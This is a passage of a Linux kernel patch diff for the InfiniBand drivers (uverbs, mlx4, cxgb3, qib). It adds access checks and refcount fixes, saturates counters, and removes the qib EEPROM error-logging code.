ib_uverbs_file *file, user_wr->wr.atomic.compare_add; next->wr.atomic.swap = user_wr->wr.atomic.swap; next->wr.atomic.rkey = user_wr->wr.atomic.rkey; + case IB_WR_SEND: break; default: - break; + ret = -EINVAL; + goto out_put; } } diff --git a/drivers/infiniband/core/uverbs_main.c b/drivers/infiniband/core/uverbs_main.c index 2c6f0f2ecd9d8..f50623d07a757 100644 --- a/drivers/infiniband/core/uverbs_main.c +++ b/drivers/infiniband/core/uverbs_main.c @@ -48,6 +48,8 @@ #include +#include + #include "uverbs.h" MODULE_AUTHOR("Roland Dreier"); @@ -119,14 +121,18 @@ static ssize_t (*uverbs_cmd_table[])(struct ib_uverbs_file *file, static void ib_uverbs_add_one(struct ib_device *device); static void ib_uverbs_remove_one(struct ib_device *device); -static void ib_uverbs_release_dev(struct kref *ref) +static void ib_uverbs_release_dev(struct kobject *kobj) { struct ib_uverbs_device *dev = - container_of(ref, struct ib_uverbs_device, ref); + container_of(kobj, struct ib_uverbs_device, kobj); - complete(&dev->comp); + kfree(dev); } +static struct kobj_type ib_uverbs_dev_ktype = { + .release = ib_uverbs_release_dev, +}; + static void ib_uverbs_release_event_file(struct kref *ref) { struct ib_uverbs_event_file *file = @@ -282,13 +288,19 @@ static int ib_uverbs_cleanup_ucontext(struct ib_uverbs_file *file, return context->device->dealloc_ucontext(context); } +static void ib_uverbs_comp_dev(struct ib_uverbs_device *dev) +{ + complete(&dev->comp); +} + static void ib_uverbs_release_file(struct kref *ref) { struct ib_uverbs_file *file = container_of(ref, struct ib_uverbs_file, ref); module_put(file->device->ib_dev->owner); - kref_put(&file->device->ref, ib_uverbs_release_dev); + if (atomic_dec_and_test(&file->device->refcount)) + ib_uverbs_comp_dev(file->device); kfree(file); } @@ -460,6 +472,7 @@ static void ib_uverbs_async_handler(struct ib_uverbs_file *file, entry->desc.async.element = element; entry->desc.async.event_type = event; + entry->desc.async.reserved = 0; entry->counter = counter; list_add_tail(&entry->list, &file->async_file->event_list); @@ -577,6 +590,9 @@ static ssize_t ib_uverbs_write(struct file *filp, const char __user *buf, struct ib_uverbs_file *file = filp->private_data; struct ib_uverbs_cmd_hdr hdr; + if (WARN_ON_ONCE(!ib_safe_file_access(filp))) + return -EACCES; + if (count < sizeof hdr) return -EINVAL; @@ -628,9 +644,7 @@ static int ib_uverbs_open(struct inode *inode, struct file *filp) int ret; dev = container_of(inode->i_cdev, struct ib_uverbs_device, cdev); - if (dev) - kref_get(&dev->ref); - else + if (!atomic_inc_not_zero(&dev->refcount)) return -ENXIO; if (!try_module_get(dev->ib_dev->owner)) { @@ -651,6 +665,7 @@ static int ib_uverbs_open(struct inode *inode, struct file *filp) mutex_init(&file->mutex); filp->private_data = file; + kobject_get(&dev->kobj); return nonseekable_open(inode, filp); @@ -658,13 +673,16 @@ static int ib_uverbs_open(struct inode *inode, struct file *filp) module_put(dev->ib_dev->owner); err: - kref_put(&dev->ref, ib_uverbs_release_dev); + if (atomic_dec_and_test(&dev->refcount)) + ib_uverbs_comp_dev(dev); + return ret; } static int ib_uverbs_close(struct inode *inode, struct file *filp) { struct ib_uverbs_file *file = filp->private_data; + struct ib_uverbs_device *dev = file->device; ib_uverbs_cleanup_ucontext(file, file->ucontext); @@ -672,6 +690,7 @@ static int ib_uverbs_close(struct inode *inode, struct file *filp) kref_put(&file->async_file->ref, ib_uverbs_release_event_file); kref_put(&file->ref, ib_uverbs_release_file); + kobject_put(&dev->kobj); return 0; } @@ -767,10 +786,11 @@ static void ib_uverbs_add_one(struct ib_device *device) if (!uverbs_dev) return; - kref_init(&uverbs_dev->ref); + atomic_set(&uverbs_dev->refcount, 1); init_completion(&uverbs_dev->comp); uverbs_dev->xrcd_tree = RB_ROOT; mutex_init(&uverbs_dev->xrcd_tree_mutex); + kobject_init(&uverbs_dev->kobj, &ib_uverbs_dev_ktype); spin_lock(&map_lock); devnum = find_first_zero_bit(dev_map, IB_UVERBS_MAX_DEVICES); @@ -797,6 +817,7 @@ static void ib_uverbs_add_one(struct ib_device *device) cdev_init(&uverbs_dev->cdev, NULL); uverbs_dev->cdev.owner = THIS_MODULE; uverbs_dev->cdev.ops = device->mmap ? &uverbs_mmap_fops : &uverbs_fops; + uverbs_dev->cdev.kobj.parent = &uverbs_dev->kobj; kobject_set_name(&uverbs_dev->cdev.kobj, "uverbs%d", uverbs_dev->devnum); if (cdev_add(&uverbs_dev->cdev, base, 1)) goto err_cdev; @@ -827,9 +848,10 @@ static void ib_uverbs_add_one(struct ib_device *device) clear_bit(devnum, overflow_map); err: - kref_put(&uverbs_dev->ref, ib_uverbs_release_dev); + if (atomic_dec_and_test(&uverbs_dev->refcount)) + ib_uverbs_comp_dev(uverbs_dev); wait_for_completion(&uverbs_dev->comp); - kfree(uverbs_dev); + kobject_put(&uverbs_dev->kobj); return; } @@ -849,9 +871,10 @@ static void ib_uverbs_remove_one(struct ib_device *device) else clear_bit(uverbs_dev->devnum - IB_UVERBS_MAX_DEVICES, overflow_map); - kref_put(&uverbs_dev->ref, ib_uverbs_release_dev); + if (atomic_dec_and_test(&uverbs_dev->refcount)) + ib_uverbs_comp_dev(uverbs_dev); wait_for_completion(&uverbs_dev->comp); - kfree(uverbs_dev); + kobject_put(&uverbs_dev->kobj); } static char *uverbs_devnode(struct device *dev, umode_t *mode) diff --git a/drivers/infiniband/hw/cxgb3/iwch_cm.c b/drivers/infiniband/hw/cxgb3/iwch_cm.c index 3e094cd6a0e34..a9194ef626cdd 100644 --- a/drivers/infiniband/hw/cxgb3/iwch_cm.c +++ b/drivers/infiniband/hw/cxgb3/iwch_cm.c @@ -149,7 +149,7 @@ static int iwch_l2t_send(struct t3cdev *tdev, struct sk_buff *skb, struct l2t_en error = l2t_send(tdev, skb, l2e); if (error < 0) kfree_skb(skb); - return error; + return error < 0 ? error : 0; } int iwch_cxgb3_ofld_send(struct t3cdev *tdev, struct sk_buff *skb) @@ -165,7 +165,7 @@ int iwch_cxgb3_ofld_send(struct t3cdev *tdev, struct sk_buff *skb) error = cxgb3_ofld_send(tdev, skb); if (error < 0) kfree_skb(skb); - return error; + return error < 0 ? error : 0; } static void release_tid(struct t3cdev *tdev, u32 hwtid, struct sk_buff *skb) diff --git a/drivers/infiniband/hw/mlx4/ah.c b/drivers/infiniband/hw/mlx4/ah.c index a251becdaa987..f55d69500a5fc 100644 --- a/drivers/infiniband/hw/mlx4/ah.c +++ b/drivers/infiniband/hw/mlx4/ah.c @@ -65,6 +65,7 @@ static struct ib_ah *create_ib_ah(struct ib_pd *pd, struct ib_ah_attr *ah_attr, ah->av.ib.port_pd = cpu_to_be32(to_mpd(pd)->pdn | (ah_attr->port_num << 24)); ah->av.ib.g_slid = ah_attr->src_path_bits; + ah->av.ib.sl_tclass_flowlabel = cpu_to_be32(ah_attr->sl << 28); if (ah_attr->ah_flags & IB_AH_GRH) { ah->av.ib.g_slid |= 0x80; ah->av.ib.gid_index = ah_attr->grh.sgid_index; @@ -82,7 +83,6 @@ static struct ib_ah *create_ib_ah(struct ib_pd *pd, struct ib_ah_attr *ah_attr, !(1 << ah->av.ib.stat_rate & dev->caps.stat_rate_support)) --ah->av.ib.stat_rate; } - ah->av.ib.sl_tclass_flowlabel = cpu_to_be32(ah_attr->sl << 28); return &ah->ibah; } @@ -169,9 +169,13 @@ int mlx4_ib_query_ah(struct ib_ah *ibah, struct ib_ah_attr *ah_attr) enum rdma_link_layer ll; memset(ah_attr, 0, sizeof *ah_attr); - ah_attr->sl = be32_to_cpu(ah->av.ib.sl_tclass_flowlabel) >> 28; ah_attr->port_num = be32_to_cpu(ah->av.ib.port_pd) >> 24; ll = rdma_port_get_link_layer(ibah->device, ah_attr->port_num); + if (ll == IB_LINK_LAYER_ETHERNET) + ah_attr->sl = be32_to_cpu(ah->av.eth.sl_tclass_flowlabel) >> 29; + else + ah_attr->sl = be32_to_cpu(ah->av.ib.sl_tclass_flowlabel) >> 28; + ah_attr->dlid = ll == IB_LINK_LAYER_INFINIBAND ? be16_to_cpu(ah->av.ib.dlid) : 0; if (ah->av.ib.stat_rate) ah_attr->static_rate = ah->av.ib.stat_rate - MLX4_STAT_RATE_OFFSET; diff --git a/drivers/infiniband/hw/mlx4/mad.c b/drivers/infiniband/hw/mlx4/mad.c index 4d599cedbb0b1..6ee5348745357 100644 --- a/drivers/infiniband/hw/mlx4/mad.c +++ b/drivers/infiniband/hw/mlx4/mad.c @@ -64,6 +64,14 @@ enum { #define GUID_TBL_BLK_NUM_ENTRIES 8 #define GUID_TBL_BLK_SIZE (GUID_TBL_ENTRY_SIZE * GUID_TBL_BLK_NUM_ENTRIES) +/* Counters should be saturate once they reach their maximum value */ +#define ASSIGN_32BIT_COUNTER(counter, value) do {\ + if ((value) > U32_MAX) \ + counter = cpu_to_be32(U32_MAX); \ + else \ + counter = cpu_to_be32(value); \ +} while (0) + struct mlx4_mad_rcv_buf { struct ib_grh grh; u8 payload[256]; @@ -730,10 +738,14 @@ static int ib_process_mad(struct ib_device *ibdev, int mad_flags, u8 port_num, static void edit_counter(struct mlx4_counter *cnt, struct ib_pma_portcounters *pma_cnt) { - pma_cnt->port_xmit_data = cpu_to_be32((be64_to_cpu(cnt->tx_bytes)>>2)); - pma_cnt->port_rcv_data = cpu_to_be32((be64_to_cpu(cnt->rx_bytes)>>2)); - pma_cnt->port_xmit_packets = cpu_to_be32(be64_to_cpu(cnt->tx_frames)); - pma_cnt->port_rcv_packets = cpu_to_be32(be64_to_cpu(cnt->rx_frames)); + ASSIGN_32BIT_COUNTER(pma_cnt->port_xmit_data, + (be64_to_cpu(cnt->tx_bytes) >> 2)); + ASSIGN_32BIT_COUNTER(pma_cnt->port_rcv_data, + (be64_to_cpu(cnt->rx_bytes) >> 2)); + ASSIGN_32BIT_COUNTER(pma_cnt->port_xmit_packets, + be64_to_cpu(cnt->tx_frames)); + ASSIGN_32BIT_COUNTER(pma_cnt->port_rcv_packets, + be64_to_cpu(cnt->rx_frames)); } static int iboe_process_mad(struct ib_device *ibdev, int mad_flags, u8 port_num, diff --git a/drivers/infiniband/hw/mlx4/qp.c b/drivers/infiniband/hw/mlx4/qp.c index 4f10af2905b50..1fe3bdb0da147 100644 --- a/drivers/infiniband/hw/mlx4/qp.c +++ b/drivers/infiniband/hw/mlx4/qp.c @@ -346,7 +346,7 @@ static int send_wqe_overhead(enum mlx4_ib_qp_type type, u32 flags) sizeof (struct mlx4_wqe_raddr_seg); case MLX4_IB_QPT_RC: return sizeof (struct mlx4_wqe_ctrl_seg) + - sizeof (struct mlx4_wqe_atomic_seg) + + sizeof (struct mlx4_wqe_masked_atomic_seg) + sizeof (struct mlx4_wqe_raddr_seg); case MLX4_IB_QPT_SMI: case MLX4_IB_QPT_GSI: @@ -2174,8 +2174,7 @@ static int build_lso_seg(struct mlx4_wqe_lso_seg *wqe, struct ib_send_wr *wr, memcpy(wqe->header, wr->wr.ud.header, wr->wr.ud.hlen); - *lso_hdr_sz = cpu_to_be32((wr->wr.ud.mss - wr->wr.ud.hlen) << 16 | - wr->wr.ud.hlen); + *lso_hdr_sz = cpu_to_be32(wr->wr.ud.mss << 16 | wr->wr.ud.hlen); *lso_seg_len = halign; return 0; } diff --git a/drivers/infiniband/hw/mlx4/sysfs.c b/drivers/infiniband/hw/mlx4/sysfs.c index 97516eb363b70..c5ce4082fdc7e 100644 --- a/drivers/infiniband/hw/mlx4/sysfs.c +++ b/drivers/infiniband/hw/mlx4/sysfs.c @@ -563,6 +563,8 @@ static int add_port(struct mlx4_ib_dev *dev, int port_num, int slave) struct mlx4_port *p; int i; int ret; + int is_eth = rdma_port_get_link_layer(&dev->ib_dev, port_num) == + IB_LINK_LAYER_ETHERNET; p = kzalloc(sizeof *p, GFP_KERNEL); if (!p) @@ -580,7 +582,8 @@ static int add_port(struct mlx4_ib_dev *dev, int port_num, int slave) p->pkey_group.name = "pkey_idx"; p->pkey_group.attrs = - alloc_group_attrs(show_port_pkey, store_port_pkey, + alloc_group_attrs(show_port_pkey, + is_eth ? NULL : store_port_pkey, dev->dev->caps.pkey_table_len[port_num]); if (!p->pkey_group.attrs) goto err_alloc; diff --git a/drivers/infiniband/hw/qib/qib.h b/drivers/infiniband/hw/qib/qib.h index 4d11575c2010a..727a9dc44b94c 100644 --- a/drivers/infiniband/hw/qib/qib.h +++ b/drivers/infiniband/hw/qib/qib.h @@ -1055,12 +1055,6 @@ struct qib_devdata { /* control high-level access to EEPROM */ struct mutex eep_lock; uint64_t traffic_wds; - /* active time is kept in seconds, but logged in hours */ - atomic_t active_time; - /* Below are nominal shadow of EEPROM, new since last EEPROM update */ - uint8_t eep_st_errs[QIB_EEP_LOG_CNT]; - uint8_t eep_st_new_errs[QIB_EEP_LOG_CNT]; - uint16_t eep_hrs; /* * masks for which bits of errs, hwerrs that cause * each of the counters to increment. @@ -1278,8 +1272,7 @@ int qib_twsi_blk_rd(struct qib_devdata *dd, int dev, int addr, void *buffer, int qib_twsi_blk_wr(struct qib_devdata *dd, int dev, int addr, const void *buffer, int len); void qib_get_eeprom_info(struct qib_devdata *); -int qib_update_eeprom_log(struct qib_devdata *dd); -void qib_inc_eeprom_err(struct qib_devdata *dd, u32 eidx, u32 incr); +#define qib_inc_eeprom_err(dd, eidx, incr) void qib_dump_lookup_output_queue(struct qib_devdata *); void qib_force_pio_avail_update(struct qib_devdata *); void qib_clear_symerror_on_linkup(unsigned long opaque); @@ -1474,27 +1467,22 @@ extern struct mutex qib_mutex; * first to avoid possible serial port delays from printk. */ #define qib_early_err(dev, fmt, ...) \ - do { \ - dev_err(dev, fmt, ##__VA_ARGS__); \ - } while (0) + dev_err(dev, fmt, ##__VA_ARGS__) #define qib_dev_err(dd, fmt, ...) \ - do { \ - dev_err(&(dd)->pcidev->dev, "%s: " fmt, \ - qib_get_unit_name((dd)->unit), ##__VA_ARGS__); \ - } while (0) + dev_err(&(dd)->pcidev->dev, "%s: " fmt, \ + qib_get_unit_name((dd)->unit), ##__VA_ARGS__) -#define qib_dev_porterr(dd, port, fmt, ...) \ - do { \ - dev_err(&(dd)->pcidev->dev, "%s: IB%u:%u " fmt, \ - qib_get_unit_name((dd)->unit), (dd)->unit, (port), \ - ##__VA_ARGS__); \ - } while (0) +#define qib_dev_warn(dd, fmt, ...) \ + dev_warn(&(dd)->pcidev->dev, "%s: " fmt, \ + qib_get_unit_name((dd)->unit), ##__VA_ARGS__) +#define qib_dev_porterr(dd, port, fmt, ...) \ + dev_err(&(dd)->pcidev->dev, "%s: IB%u:%u " fmt, \ + qib_get_unit_name((dd)->unit), (dd)->unit, (port), \ + ##__VA_ARGS__) #define qib_devinfo(pcidev, fmt, ...) \ - do { \ - dev_info(&(pcidev)->dev, fmt, ##__VA_ARGS__); \ - } while (0) + dev_info(&(pcidev)->dev, fmt, ##__VA_ARGS__) /* * this is used for formatting hw error messages... diff --git a/drivers/infiniband/hw/qib/qib_eeprom.c b/drivers/infiniband/hw/qib/qib_eeprom.c index 4d5d71aaa2b4e..e2280b07df02c 100644 --- a/drivers/infiniband/hw/qib/qib_eeprom.c +++ b/drivers/infiniband/hw/qib/qib_eeprom.c @@ -267,190 +267,9 @@ void qib_get_eeprom_info(struct qib_devdata *dd) "Board SN %s did not pass functional test: %s\n", dd->serial, ifp->if_comment); - memcpy(&dd->eep_st_errs, &ifp->if_errcntp, QIB_EEP_LOG_CNT); - /* - * Power-on (actually "active") hours are kept as little-endian value - * in EEPROM, but as seconds in a (possibly as small as 24-bit) - * atomic_t while running. - */ - atomic_set(&dd->active_time, 0); - dd->eep_hrs = ifp->if_powerhour[0] | (ifp->if_powerhour[1] << 8); - done: vfree(buf); bail:; } -/** - * qib_update_eeprom_log - copy active-time and error counters to eeprom - * @dd: the qlogic_ib device - * - * Although the time is kept as seconds in the qib_devdata struct, it is - * rounded to hours for re-write, as we have only 16 bits in EEPROM. - * First-cut code reads whole (expected) struct qib_flash, modifies, - * re-writes. Future direction: read/write only what we need, assuming - * that the EEPROM had to have been "good enough" for driver init, and - * if not, we aren't making it worse. - * - */ -int qib_update_eeprom_log(struct qib_devdata *dd) -{ - void *buf; - struct qib_flash *ifp; - int len, hi_water; - uint32_t new_time, new_hrs; - u8 csum; - int ret, idx; - unsigned long flags; - - /* first, check if we actually need to do anything. */ - ret = 0; - for (idx = 0; idx < QIB_EEP_LOG_CNT; ++idx) { - if (dd->eep_st_new_errs[idx]) { - ret = 1; - break; - } - } - new_time = atomic_read(&dd->active_time); - - if (ret == 0 && new_time < 3600) - goto bail; - - /* - * The quick-check above determined that there is something worthy - * of logging, so get current contents and do a more detailed idea. - * read full flash, not just currently used part, since it may have - * been written with a newer definition - */ - len = sizeof(struct qib_flash); - buf = vmalloc(len); - ret = 1; - if (!buf) { - qib_dev_err(dd, - "Couldn't allocate memory to read %u bytes from eeprom for logging\n", - len); - goto bail; - } - - /* Grab semaphore and read current EEPROM. If we get an - * error, let go, but if not, keep it until we finish write. - */ - ret = mutex_lock_interruptible(&dd->eep_lock); - if (ret) { - qib_dev_err(dd, "Unable to acquire EEPROM for logging\n"); - goto free_bail; - } - ret = qib_twsi_blk_rd(dd, dd->twsi_eeprom_dev, 0, buf, len); - if (ret) { - mutex_unlock(&dd->eep_lock); - qib_dev_err(dd, "Unable read EEPROM for logging\n"); - goto free_bail; - } - ifp = (struct qib_flash *)buf; - - csum = flash_csum(ifp, 0); - if (csum != ifp->if_csum) { - mutex_unlock(&dd->eep_lock); - qib_dev_err(dd, "EEPROM cks err (0x%02X, S/B 0x%02X)\n", - csum, ifp->if_csum); - ret = 1; - goto free_bail; - } - hi_water = 0; - spin_lock_irqsave(&dd->eep_st_lock, flags); - for (idx = 0; idx < QIB_EEP_LOG_CNT; ++idx) { - int new_val = dd->eep_st_new_errs[idx]; - if (new_val) { - /* - * If we have seen any errors, add to EEPROM values - * We need to saturate at 0xFF (255) and we also - * would need to adjust the checksum if we were - * trying to minimize EEPROM traffic - * Note that we add to actual current count in EEPROM, - * in case it was altered while we were running. - */ - new_val += ifp->if_errcntp[idx]; - if (new_val > 0xFF) - new_val = 0xFF; - if (ifp->if_errcntp[idx] != new_val) { - ifp->if_errcntp[idx] = new_val; - hi_water = offsetof(struct qib_flash, - if_errcntp) + idx; - } - /* - * update our shadow (used to minimize EEPROM - * traffic), to match what we are about to write. - */ - dd->eep_st_errs[idx] = new_val; - dd->eep_st_new_errs[idx] = 0; - } - } - /* - * Now update active-time. We would like to round to the nearest hour - * but unless atomic_t are sure to be proper signed ints we cannot, - * because we need to account for what we "transfer" to EEPROM and - * if we log an hour at 31 minutes, then we would need to set - * active_time to -29 to accurately count the _next_ hour. - */ - if (new_time >= 3600) { - new_hrs = new_time / 3600; - atomic_sub((new_hrs * 3600), &dd->active_time); - new_hrs += dd->eep_hrs; - if (new_hrs > 0xFFFF) - new_hrs = 0xFFFF; - dd->eep_hrs = new_hrs; - if ((new_hrs & 0xFF) != ifp->if_powerhour[0]) { - ifp->if_powerhour[0] = new_hrs & 0xFF; - hi_water = offsetof(struct qib_flash, if_powerhour); - } - if ((new_hrs >> 8) != ifp->if_powerhour[1]) { - ifp->if_powerhour[1] = new_hrs >> 8; - hi_water = offsetof(struct qib_flash, if_powerhour) + 1; - } - } - /* - * There is a tiny possibility that we could somehow fail to write - * the EEPROM after updating our shadows, but problems from holding - * the spinlock too long are a much bigger issue. - */ - spin_unlock_irqrestore(&dd->eep_st_lock, flags); - if (hi_water) { - /* we made some change to the data, uopdate cksum and write */ - csum = flash_csum(ifp, 1); - ret = eeprom_write_with_enable(dd, 0, buf, hi_water + 1); - } - mutex_unlock(&dd->eep_lock); - if (ret) - qib_dev_err(dd, "Failed updating EEPROM\n"); - -free_bail: - vfree(buf); -bail: - return ret; -} - -/** - * qib_inc_eeprom_err - increment one of the four error counters - * that are logged to EEPROM. - * @dd: the qlogic_ib device - * @eidx: 0..3, the counter to increment - * @incr: how much to add - * - * Each counter is 8-bits, and saturates at 255 (0xFF). They - * are copied to the EEPROM (aka flash) whenever qib_update_eeprom_log() - * is called, but it can only be called in a context that allows sleep. - * This function can be called even at interrupt level. - */ -void qib_inc_eeprom_err(struct qib_devdata *dd, u32 eidx, u32 incr) -{ - uint new_val; - unsigned long flags; - - spin_lock_irqsave(&dd->eep_st_lock, flags); - new_val = dd->eep_st_new_errs[eidx] + incr; - if (new_val > 255) - new_val = 255; - dd->eep_st_new_errs[eidx] = new_val; - spin_unlock_irqrestore(&dd->eep_st_lock, flags); -} diff --git a/drivers/infiniband/hw/qib/qib_file_ops.c b/drivers/infiniband/hw/qib/qib_file_ops.c index b56c9428f3c5f..8cb29b36c82aa 100644 --- a/drivers/infiniband/hw/qib/qib_file_ops.c +++ b/drivers/infiniband/hw/qib/qib_file_ops.c @@ -45,6 +45,8 @@ #include #include +#include + #include "qib.h" #include "qib_common.h" #include "qib_user_sdma.h" @@ -1977,6 +1979,9 @@ static ssize_t qib_write(struct file *fp, const char __user *data, ssize_t ret = 0; void *dest; + if (WARN_ON_ONCE(!ib_safe_file_access(fp))) + return -EACCES; + if (count < sizeof(cmd.type)) { ret = -EINVAL; goto bail; diff --git a/drivers/infiniband/hw/qib/qib_iba6120.c b/drivers/infiniband/hw/qib/qib_iba6120.c index 0232ae56b1fa2..4e26133251835 100644 --- a/drivers/infiniband/hw/qib/qib_iba6120.c +++ b/drivers/infiniband/hw/qib/qib_iba6120.c @@ -2682,8 +2682,6 @@ static void qib_get_6120_faststats(unsigned long opaque) spin_lock_irqsave(&dd->eep_st_lock, flags); traffic_wds -= dd->traffic_wds; dd->traffic_wds += traffic_wds; - if (traffic_wds >= QIB_TRAFFIC_ACTIVE_THRESHOLD) - atomic_add(5, &dd->active_time); /* S/B #define */ spin_unlock_irqrestore(&dd->eep_st_lock, flags); qib_chk_6120_errormask(dd); diff --git a/drivers/infiniband/hw/qib/qib_iba7220.c b/drivers/infiniband/hw/qib/qib_iba7220.c index 64d0ecb90cdc4..3dbabf3a5d6d7 100644 --- a/drivers/infiniband/hw/qib/qib_iba7220.c +++ b/drivers/infiniband/hw/qib/qib_iba7220.c @@ -3299,8 +3299,6 @@ static void qib_get_7220_faststats(unsigned long opaque) spin_lock_irqsave(&dd->eep_st_lock, flags); traffic_wds -= dd->traffic_wds; dd->traffic_wds += traffic_wds; - if (traffic_wds >= QIB_TRAFFIC_ACTIVE_THRESHOLD) - atomic_add(5, &dd->active_time); /* S/B #define */ spin_unlock_irqrestore(&dd->eep_st_lock, flags); done: mod_timer(&dd->stats_timer, jiffies + HZ * ACTIVITY_TIMER); diff --git a/drivers/infiniband/hw/qib/qib_iba7322.c b/drivers/infiniband/hw/qib/qib_iba7322.c index 14103ffb48390..5f5f20f422314 100644 --- a/drivers/infiniband/hw/qib/qib_iba7322.c +++ b/drivers/infiniband/hw/qib/qib_iba7322.c @@ -4854,8 +4854,6 @@ static void qib_get_7322_faststats(unsigned long opaque) spin_lock_irqsave(&ppd->dd->eep_st_lock, flags); traffic_wds -= ppd->dd->traffic_wds; ppd->dd->traffic_wds += traffic_wds; - if (traffic_wds >= QIB_TRAFFIC_ACTIVE_THRESHOLD) - atomic_add(ACTIVITY_TIMER, &ppd->dd->active_time); spin_unlock_irqrestore(&ppd->dd->eep_st_lock, flags); if (ppd->cpspec->qdr_dfe_on && (ppd->link_speed_active & QIB_IB_QDR) && diff --git a/drivers/infiniband/hw/qib/qib_init.c b/drivers/infiniband/hw/qib/qib_init.c index 173f805790da4..8f936e36dd535 100644 --- a/drivers/infiniband/hw/qib/qib_init.c +++ b/drivers/infiniband/hw/qib/qib_init.c @@ -892,7 +892,6 @@ static void qib_shutdown_device(struct qib_devdata *dd) } } - qib_update_eeprom_log(dd); } /** diff --git a/drivers/infiniband/hw/qib/qib_keys.c b/drivers/infiniband/hw/qib/qib_keys.c index 3b9afccaaade8..eabe54738be61 100644 --- a/drivers/infiniband/hw/qib/qib_keys.c +++ b/drivers/infiniband/hw/qib/qib_keys.c @@ -86,6 +86,10 @@ int qib_alloc_lkey(struct qib_mregion *mr, int dma_region) * unrestricted LKEY. */ rkt->gen++; + /* + * bits are capped in qib_verbs.c to insure enough bits + * for generation number + */ mr->lkey = (r << (32 - ib_qib_lkey_table_size)) | ((((1 << (24 - ib_qib_lkey_table_size)) - 1) & rkt->gen) << 8); diff --git a/drivers/infiniband/hw/qib/qib_sysfs.c b/drivers/infiniband/hw/qib/qib_sysfs.c index 3c8e4e3caca62..b9ccbda7817d1 100644 --- a/drivers/infiniband/hw/qib/qib_sysfs.c +++ b/drivers/infiniband/hw/qib/qib_sysfs.c @@ -611,28 +611,6 @@ static ssize_t store_chip_reset(struct device *device, return ret < 0 ? ret : count; } -static ssize_t show_logged_errs(struct device *device, - struct device_attribute *attr, char *buf) -{ - struct qib_ibdev *dev = - container_of(device, struct qib_ibdev, ibdev.dev); - struct qib_devdata *dd = dd_from_dev(dev); - int idx, count; - - /* force consistency with actual EEPROM */ - if (qib_update_eeprom_log(dd) != 0) - return -ENXIO; - - count = 0; - for (idx = 0; idx < QIB_EEP_LOG_CNT; ++idx) { - count += scnprintf(buf + count, PAGE_SIZE - count, "%d%c", - dd->eep_st_errs[idx], - idx == (QIB_EEP_LOG_CNT - 1) ? '\n' : ' '); - } - - return count; -} - /* * Dump tempsense regs. in decimal, to ease shell-scripts. */ @@ -679,7 +657,6 @@ static DEVICE_ATTR(nctxts, S_IRUGO, show_nctxts, NULL); static DEVICE_ATTR(nfreectxts, S_IRUGO, show_nfreectxts, NULL); static DEVICE_ATTR(serial, S_IRUGO, show_serial, NULL); static DEVICE_ATTR(boardversion, S_IRUGO, show_boardversion, NULL); -static DEVICE_ATTR(logged_errors, S_IRUGO, show_logged_errs, NULL); static DEVICE_ATTR(tempsense, S_IRUGO, show_tempsense, NULL); static DEVICE_ATTR(localbus_info, S_IRUGO, show_localbus_info, NULL); static DEVICE_ATTR(chip_reset, S_IWUSR, NULL, store_chip_reset); @@ -693,7 +670,6 @@ static struct device_attribute *qib_attributes[] = { &dev_attr_nfreectxts, &dev_attr_serial, &dev_attr_boardversion, - &dev_attr_logged_errors, &dev_attr_tempsense, &dev_attr_localbus_info, &dev_attr_chip_reset, diff --git a/drivers/infiniband/hw/qib/qib_verbs.c b/drivers/infiniband/hw/qib/qib_verbs.c index 904c384aa3614..6c809bf501286 100644 --- a/drivers/infiniband/hw/qib/qib_verbs.c +++ b/drivers/infiniband/hw/qib/qib_verbs.c @@ -40,6 +40,7 @@ #include #include #include +#include #include "qib.h" #include "qib_common.h" @@ -2084,10 +2085,16 @@ int qib_register_ib_device(struct qib_devdata *dd) * the LKEY). The remaining bits act as a generation number or tag. */ spin_lock_init(&dev->lk_table.lock); + /* insure generation is at least 4 bits see keys.c */ + if (ib_qib_lkey_table_size > MAX_LKEY_TABLE_BITS) { + qib_dev_warn(dd, "lkey bits %u too large, reduced to %u\n", + ib_qib_lkey_table_size, MAX_LKEY_TABLE_BITS); + ib_qib_lkey_table_size = MAX_LKEY_TABLE_BITS; + } dev->lk_table.max = 1 << ib_qib_lkey_table_size; lk_tab_size = dev->lk_table.max * sizeof(*dev->lk_table.table); dev->lk_table.table = (struct qib_mregion __rcu **) - __get_free_pages(GFP_KERNEL, get_order(lk_tab_size)); + vmalloc(lk_tab_size); if (dev->lk_table.table == NULL) { ret = -ENOMEM; goto err_lk; @@ -2260,7 +2267,7 @@ int qib_register_ib_device(struct qib_devdata *dd) sizeof(struct qib_pio_header), dev->pio_hdrs, dev->pio_hdrs_phys); err_hdrs: - free_pages((unsigned long) dev->lk_table.table, get_order(lk_tab_size)); + vfree(dev->lk_table.table); err_lk: kfree(dev->qp_table); err_qpt: @@ -2314,8 +2321,7 @@ void qib_unregister_ib_device(struct qib_devdata *dd) sizeof(struct qib_pio_header), dev->pio_hdrs, dev->pio_hdrs_phys); lk_tab_size = dev->lk_table.max * sizeof(*dev->lk_table.table); - free_pages((unsigned long) dev->lk_table.table, - get_order(lk_tab_size)); + vfree(dev->lk_table.table); kfree(dev->qp_table); } diff --git a/drivers/infiniband/hw/qib/qib_verbs.h b/drivers/infiniband/hw/qib/qib_verbs.h index aff8b2c178869..e4f9fff51890b 100644 --- a/drivers/infiniband/hw/qib/qib_verbs.h +++ b/drivers/infiniband/hw/qib/qib_verbs.h @@ -645,6 +645,8 @@ struct qib_qpn_table { struct qpn_map map[QPNMAP_ENTRIES]; }; +#define MAX_LKEY_TABLE_BITS 23 + struct qib_lkey_table { spinlock_t lock; /* protect changes in this struct */ u32 next; /* next unused index (speeds search) */ diff --git a/drivers/infiniband/hw/qib/qib_verbs_mcast.c b/drivers/infiniband/hw/qib/qib_verbs_mcast.c index dabb697b1c2a6..48ba1c3e945ae 100644 --- a/drivers/infiniband/hw/qib/qib_verbs_mcast.c +++ b/drivers/infiniband/hw/qib/qib_verbs_mcast.c @@ -286,15 +286,13 @@ int qib_multicast_detach(struct ib_qp *ibqp, union ib_gid *gid, u16 lid) struct qib_ibdev *dev = to_idev(ibqp->device); struct qib_ibport *ibp = to_iport(ibqp->device, qp->port_num); struct qib_mcast *mcast = NULL; - struct qib_mcast_qp *p, *tmp; + struct qib_mcast_qp *p, *tmp, *delp = NULL; struct rb_node *n; int last = 0; int ret; - if (ibqp->qp_num <= 1 || qp->state == IB_QPS_RESET) { - ret = -EINVAL; - goto bail; - } + if (ibqp->qp_num <= 1 || qp->state == IB_QPS_RESET) + return -EINVAL; spin_lock_irq(&ibp->lock); @@ -303,8 +301,7 @@ int qib_multicast_detach(struct ib_qp *ibqp, union ib_gid *gid, u16 lid) while (1) { if (n == NULL) { spin_unlock_irq(&ibp->lock); - ret = -EINVAL; - goto bail; + return -EINVAL; } mcast = rb_entry(n, struct qib_mcast, rb_node); @@ 